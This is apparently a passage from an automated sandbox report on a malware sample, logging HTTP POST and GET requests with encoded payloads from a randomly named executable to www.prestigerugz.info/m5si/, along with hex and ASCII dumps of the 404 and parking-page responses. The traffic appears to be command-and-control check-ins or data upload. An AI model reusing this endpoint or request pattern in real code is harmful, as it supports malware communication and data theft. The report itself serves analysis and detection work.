                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aMESmikcT3I5ELCjNVVZjOPEjlorwRN%2B06DCIzjaKl1N2hJG%2FYrtpvUa5tkALJ7GtANlOpDm0J4W04KdjaUP6jlZTtpnF093TF2GqBLtD32AjA6aqeKx81p%2BB7ThOE45hi%2B3gSNxAPxO1w%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                      Server: cloudflare
                                                      CF-RAY: 8e825285ac6a3320-EWR
                                                      alt-svc: h3=":443"; ma=86400
                                                      server-timing: cfL4;desc="?proto=TCP&rtt=1818&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=479&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                      Data Raw: 32 64 61 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 [TRUNCATED]
                                                      Data Ascii: 2dae<!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-blo
                                                      Nov 25, 2024 15:27:56.869791985 CET224INData Raw: 63 6b 7d 2e 6d 61 69 6e 2c 2e 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 2c 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 6f 73 69 74 69 6f 6e 3a 72
                                                      Data Ascii: ck}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}*{padding:0;margin:0;border:0}*,::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-heig
                                                      Nov 25, 2024 15:27:56.942382097 CET1236INData Raw: 68 74 3a 31 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 52 6f 62 6f 74 6f 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d 6f 7a 2d 74 65 78 74 2d 73 69 7a 65
                                                      Data Ascii: ht:1;font-family:Roboto;font-size:.875rem;-ms-text-size-adjust:100%;-moz-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-color:#000}button,input,textarea{font-
                                                      Nov 25, 2024 15:27:56.942445993 CET1236INData Raw: 31 2e 32 37 37 37 37 37 37 37 37 38 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 3a 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66
                                                      Data Ascii: 1.2777777778}.window-main__title::before{content:"";position:absolute;bottom:0;left:50%;height:2px;width:8rem;background-color:#15b4fc;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.window-main__body{line-height:1.5294117647}.w
                                                      Nov 25, 2024 15:27:56.964895010 CET1236INData Raw: 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 6c 69 73 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 35 36 32 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 37 35 72 65 6d 7d 2e 77 69
                                                      Data Ascii: window-main__list{padding-left:.5625rem}.window-main__item{padding-left:.75rem}.window-main__actions{margin-top:1.5rem}}@media (max-width:29.99875em){.window-main .svg-one{top:-330px}.window-main .svg-two{bottom:-423px;left:-343px}}@media (min
                                                      Nov 25, 2024 15:27:56.989717960 CET1236INData Raw: 31 2e 35 72 65 6d 20 2b 20 32 2e 32 35 2a 28 31 30 30 76 77 20 2d 20 32 30 72 65 6d 29 2f 20 32 35 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 30
                                                      Data Ascii: 1.5rem + 2.25*(100vw - 20rem)/ 25.625)}}@supports (padding-bottom:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-bottom:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-bottom:clam
                                                      Nov 25, 2024 15:27:56.989733934 CET1236INData Raw: 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 76 77 20 2c 31 2e 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 6e 66 6f 7b 6d 61 72 67 69 6e 2d 62
                                                      Data Ascii: p(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:calc(1.5rem + .375*(100vw - 20rem)/ 25.625)}}@supports (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{paddi
                                                      Nov 25, 2024 15:27:57.062905073 CET1236INData Raw: 3b 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 33 33 33 41 34 38 3b 7d 0a 09 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70
                                                      Data Ascii: ;}a:hover{border: 2px solid #333A48;}</style></head><body><div class="wrapper"><main class="page"><section class="main"><div class="main__window window-main"><svg class="svg-one" width="630" height="812" viewBox="0 0 6
                                                      Nov 25, 2024 15:27:57.062995911 CET1236INData Raw: 69 67 68 74 3d 22 38 31 30 2e 35 30 36 22 20 66 69 6c 74 65 72 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 3e 0a 09 09
                                                      Data Ascii: ight="810.506" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" />
                                                      Nov 25, 2024 15:27:57.063030958 CET1236INData Raw: 69 74 6c 65 22 3e 57 68 79 20 61 6d 20 49 20 73 65 65 69 6e 67 20 74 68 69 73 20 70 61 67 65 3f 3c 2f 68 31 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 62 6f 64 79 22 3e 0a 09 09 09 09 09 09 3c
                                                      Data Ascii: itle">Why am I seeing this page?</h1><div class="window-main__body"><p class="window-main__info">Here are some common issues that cause you to see this page:</p><ul class="window-main__list"><li class="window-main__
                                                      Nov 25, 2024 15:27:57.063100100 CET1179INData Raw: 33 20 36 33 38 2e 35 35 32 43 33 36 31 2e 39 38 31 20 34 32 38 2e 38 38 38 20 31 35 39 2e 30 35 38 20 34 36 37 2e 30 33 39 20 32 31 38 2e 33 34 20 33 34 33 2e 35 36 37 43 32 37 37 2e 36 32 33 20 32 32 30 2e 30 39 34 20 33 39 32 2e 32 37 35 20 31
                                                      Data Ascii: 3 638.552C361.981 428.888 159.058 467.039 218.34 343.567C277.623 220.094 392.275 151.975 474.424 191.418C556.572 230.862 575.108 362.931 515.826 486.404C456.543 609.876 341.891 677.995 259.743 638.552Z" fill="#013F93" /></g><defs


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      1192.168.2.449784217.160.0.113803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:12.871068954 CET747OUTPOST /m5si/ HTTP/1.1
                                                      Host: www.prestigerugz.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 199
                                                      Origin: http://www.prestigerugz.info
                                                      Referer: http://www.prestigerugz.info/m5si/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 54 6f 77 58 69 57 37 79 69 5a 61 49 2b 35 30 62 56 33 69 4b 49 77 73 5a 38 4e 54 4b 4c 6c 79 53 48 37 37 34 5a 4c 45 45 48 6e 4b 39 4a 31 36 50 50 6a 52 53 37 66 57 65 6c 7a 52 6c 48 58 49 54 70 71 37 69 72 6a 57 51 44 71 7a 4c 4e 49 36 61 6e 61 49 73 6c 6b 2f 37 38 7a 2f 50 74 76 54 79 79 63 52 67 70 6b 30 4b 73 55 35 59 38 78 75 36 7a 64 77 77 4c 76 6e 43 6d 34 32 79 63 4f 35 74 76 41 48 76 30 7a 71 66 32 69 33 37 63 75 31 39 48 72 55 43 4b 42 4f 4b 2b 69 61 35 7a 6d 44 67 7a 44 61 2f 43 64 75 4d 77 54 70 51 53 74 73 4d 76 70 62 67 4c 59 75 58 71 45 66 46 47 57 77 46 56 77 3d 3d
                                                      Data Ascii: vP=TowXiW7yiZaI+50bV3iKIwsZ8NTKLlySH774ZLEEHnK9J16PPjRS7fWelzRlHXITpq7irjWQDqzLNI6anaIslk/78z/PtvTyycRgpk0KsU5Y8xu6zdwwLvnCm42ycO5tvAHv0zqf2i37cu19HrUCKBOK+ia5zmDgzDa/CduMwTpQStsMvpbgLYuXqEfFGWwFVw==
                                                      Nov 25, 2024 15:28:14.350492001 CET780INHTTP/1.1 404 Not Found
                                                      Content-Type: text/html
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      Date: Mon, 25 Nov 2024 14:28:14 GMT
                                                      Server: Apache
                                                      X-Frame-Options: deny
                                                      Content-Encoding: gzip
                                                      Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 [TRUNCATED]
                                                      Data Ascii: 23aTMo@WLP@qzCP*Zc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7*r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      2192.168.2.449790217.160.0.113803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:15.540673971 CET767OUTPOST /m5si/ HTTP/1.1
                                                      Host: www.prestigerugz.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 219
                                                      Origin: http://www.prestigerugz.info
                                                      Referer: http://www.prestigerugz.info/m5si/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 54 6f 77 58 69 57 37 79 69 5a 61 49 2f 61 38 62 53 68 71 4b 4f 51 73 61 7a 74 54 4b 41 46 79 57 48 37 33 34 5a 4b 78 63 48 30 75 39 4a 56 4b 50 4f 67 4a 53 79 50 57 65 39 6a 52 67 4b 33 49 63 70 71 33 45 72 68 43 51 44 71 58 4c 4e 4a 71 61 6e 74 63 76 2f 55 2f 35 77 54 2f 4e 31 50 54 79 79 63 52 67 70 6b 77 77 73 55 68 59 38 69 6d 36 7a 38 77 7a 49 76 6e 42 33 34 32 79 4c 2b 35 70 76 41 48 64 30 79 6d 6c 32 67 2f 37 63 76 46 39 43 71 55 42 54 78 4f 41 36 69 62 6c 34 6c 65 4b 7a 43 76 33 4e 64 62 6a 2b 51 42 4e 58 72 68 57 2b 59 36 33 5a 59 4b 6b 33 44 57 78 4c 56 4e 4d 4f 39 6c 54 43 37 62 59 6f 74 6c 36 43 54 50 32 31 46 32 69 4e 78 67 3d
                                                      Data Ascii: vP=TowXiW7yiZaI/a8bShqKOQsaztTKAFyWH734ZKxcH0u9JVKPOgJSyPWe9jRgK3Icpq3ErhCQDqXLNJqantcv/U/5wT/N1PTyycRgpkwwsUhY8im6z8wzIvnB342yL+5pvAHd0yml2g/7cvF9CqUBTxOA6ibl4leKzCv3Ndbj+QBNXrhW+Y63ZYKk3DWxLVNMO9lTC7bYotl6CTP21F2iNxg=
                                                      Nov 25, 2024 15:28:16.935332060 CET780INHTTP/1.1 404 Not Found
                                                      Content-Type: text/html
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      Date: Mon, 25 Nov 2024 14:28:16 GMT
                                                      Server: Apache
                                                      X-Frame-Options: deny
                                                      Content-Encoding: gzip
                                                      Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 [TRUNCATED]
                                                      Data Ascii: 23aTMo@WLP@qzCP*Zc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7*r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      3192.168.2.449797217.160.0.113803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:18.212892056 CET10849OUTPOST /m5si/ HTTP/1.1
                                                      Host: www.prestigerugz.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 10299
                                                      Origin: http://www.prestigerugz.info
                                                      Referer: http://www.prestigerugz.info/m5si/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 54 6f 77 58 69 57 37 79 69 5a 61 49 2f 61 38 62 53 68 71 4b 4f 51 73 61 7a 74 54 4b 41 46 79 57 48 37 33 34 5a 4b 78 63 48 30 6d 39 4a 6b 71 50 50 42 4a 53 6f 50 57 65 6a 7a 52 68 4b 33 49 37 70 71 76 49 72 68 66 6c 44 6f 66 4c 4f 70 32 61 6c 63 63 76 78 6b 2f 35 74 6a 2f 49 74 76 53 71 79 63 42 6b 70 6c 41 77 73 55 68 59 38 69 4b 36 6b 39 77 7a 4f 76 6e 43 6d 34 32 32 63 4f 35 42 76 47 76 4e 30 79 7a 59 31 54 48 37 63 50 56 39 41 34 4d 42 4d 42 4f 47 39 69 62 74 34 6c 53 52 7a 43 7a 52 4e 66 36 2b 2b 54 64 4e 62 66 6b 4c 36 73 72 76 41 71 4b 58 6c 77 2b 50 50 58 74 74 4a 74 5a 50 46 70 58 57 30 66 4e 47 42 30 32 49 67 47 32 48 5a 31 51 61 35 4b 73 44 62 79 61 46 35 61 53 54 2f 74 2f 76 6d 55 6e 7a 65 39 44 38 53 2f 61 78 35 75 33 2f 76 68 52 63 78 42 4f 34 4a 53 6c 7a 5a 48 6d 59 34 45 78 4c 4a 4b 6f 46 4c 6f 68 51 67 72 75 49 4c 4d 2f 35 73 49 32 67 4a 68 45 78 6a 2b 32 6e 2f 4d 30 7a 7a 4b 66 75 68 76 76 48 5a 73 4e 6d 4c 79 62 62 33 52 74 78 6f 41 57 53 48 53 2b 6d 78 47 74 34 45 67 6e [TRUNCATED]
                                                      Data Ascii: vP=TowXiW7yiZaI/a8bShqKOQsaztTKAFyWH734ZKxcH0m9JkqPPBJSoPWejzRhK3I7pqvIrhflDofLOp2alccvxk/5tj/ItvSqycBkplAwsUhY8iK6k9wzOvnCm422cO5BvGvN0yzY1TH7cPV9A4MBMBOG9ibt4lSRzCzRNf6++TdNbfkL6srvAqKXlw+PPXttJtZPFpXW0fNGB02IgG2HZ1Qa5KsDbyaF5aST/t/vmUnze9D8S/ax5u3/vhRcxBO4JSlzZHmY4ExLJKoFLohQgruILM/5sI2gJhExj+2n/M0zzKfuhvvHZsNmLybb3RtxoAWSHS+mxGt4EgngWEVwIjwKXdgvaeZaSU9J/KUGqwokiZmGJlJ4eDRQ8rSd94L0O86tUpiNiw2bomLWD6Xg33XdMNSawJcFQLp4vwyXfXej9mU88oJ/CNb7k1G8/CjH7GOW0nvWiAOB4h6dYAbvu9TPbchNDbZb0P2AtfFWWNbfeq002lr0GFu7o9NrgeJuDd8m+moseykbAv9EMdu/ovCVd9ocnlFetidSH1TsDLbW34QoJM5ql8hovVThW/p0z93cw3f+/vENxxfQ3WMtHRXknAMNyKAXxHa1jxpLwfgXv5/nAMNEno27WsjqjiIeVz1oJDUOJjcY/PzTZdWfcgz+aiJlqX6eWuMfVD9gTLuvnTGHJB3CEmYXm6sOkneUEA2S7gAqN6+64wrPeewJGOK2cU4EIa9Y40E54NjNZNzo9QEP2YbrpXhxz0BGwnJr4lZq3DIeJyKl44iS0Osi9Lts7FXspLQCfMX6voZDUkczprT9X3cGG0DDG7MqOcV7c89gc2JNhFqZJNXeahJpYfXFdOy1I/gyoDmguFfFZhRRb8FQqaj5goKlcHmJ73+rdaXmJUdTAtkU503M1pEY57pl2NMgrL3FNCLKC4Os6YqJ2aHetBHlnwkU9m8kofs5PWa+M6oZdmVZ1p2x+mfJLJGmhnF/aok0zy2MMdtAGKiDXaSn9 [TRUNCATED]
                                                      Nov 25, 2024 15:28:19.686338902 CET780INHTTP/1.1 404 Not Found
                                                      Content-Type: text/html
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      Date: Mon, 25 Nov 2024 14:28:19 GMT
                                                      Server: Apache
                                                      X-Frame-Options: deny
                                                      Content-Encoding: gzip
                                                      Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 [TRUNCATED]
                                                      Data Ascii: 23aTMo@WLP@qzCP*Zc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7*r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      4192.168.2.449802217.160.0.113803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:20.877403021 CET477OUTGET /m5si/?vP=eqY3hh7t27bJ5LQfUACiIBop+4++C12UJ8jqVv8fYDW4JFKoOjNM9tGFtSdYH3IXt9v4kCCdG8KeR7OcjMcnk3D3+1Po89+p2utRtVEn8mZesTWlz/QNOcc=&fT=ttlTvpWhdN8TOVxP HTTP/1.1
                                                      Host: www.prestigerugz.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Connection: close
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Nov 25, 2024 15:28:22.248164892 CET1236INHTTP/1.1 404 Not Found
                                                      Content-Type: text/html
                                                      Content-Length: 1271
                                                      Connection: close
                                                      Date: Mon, 25 Nov 2024 14:28:22 GMT
                                                      Server: Apache
                                                      X-Frame-Options: deny
                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c [TRUNCATED]
                                                      Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div id="partner"> </div> <script type="text/javascript"> document.write( '<script type="text/javascript" language="JavaScript"' + [TRUNCATED]
